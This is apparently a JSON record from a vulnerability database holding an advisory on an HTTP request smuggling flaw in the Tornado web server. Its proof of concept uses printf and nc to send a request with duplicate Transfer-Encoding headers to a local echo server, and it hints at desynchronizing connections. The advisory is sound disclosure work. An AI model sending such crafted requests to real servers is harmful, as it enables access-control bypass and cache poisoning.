{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/18609?format=json","vulnerability_id":"VCID-e25f-6gkj-vfgw","summary":"Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado\n### Summary\nWhen Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this.\n\n### PoC\n0. Install Tornado.\n1. Start a simple Tornado server that echoes each received request's body:\n```bash\ncat << EOF > server.py\nimport asyncio\nimport tornado\n\nclass MainHandler(tornado.web.RequestHandler):\n    def post(self):\n        self.write(self.request.body)\n\nasync def main():\n    tornado.web.Application([(r\"/\", MainHandler)]).listen(8000)\n    await asyncio.Event().wait()\n\nasyncio.run(main())\nEOF\npython3 server.py &\n```\n2. Send a valid chunked request:\n```bash\nprintf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nZ\\r\\n0\\r\\n\\r\\n' | nc localhost 8000\n```\n3. Observe that the response is as expected:\n```\nHTTP/1.1 200 OK\nServer: TornadoServer/6.3.3\nContent-Type: text/html; charset=UTF-8\nDate: Sat, 07 Oct 2023 17:32:05 GMT\nContent-Length: 1\n\nZ\n```\n4. Send a request with two `Transfer-Encoding: chunked` headers:\n```\nprintf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nZ\\r\\n0\\r\\n\\r\\n' | nc localhost 8000\n```\n5. Observe the strange response:\n```\nHTTP/1.1 200 OK\nServer: TornadoServer/6.3.3\nContent-Type: text/html; charset=UTF-8\nDate: Sat, 07 Oct 2023 17:35:40 GMT\nContent-Length: 0\n\nHTTP/1.1 400 Bad Request\n\n```\nThis is because Tornado believes that the request has no message body, so it tries to interpret `1\\r\\nZ\\r\\n0\\r\\n\\r\\n` as its own request, which causes a 400 response. With a little cleverness involving `chunk-ext`s, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.\n\n### Impact\nAnyone using Tornado behind a proxy that forwards requests containing multiple `Transfer-Encoding: chunked` headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection 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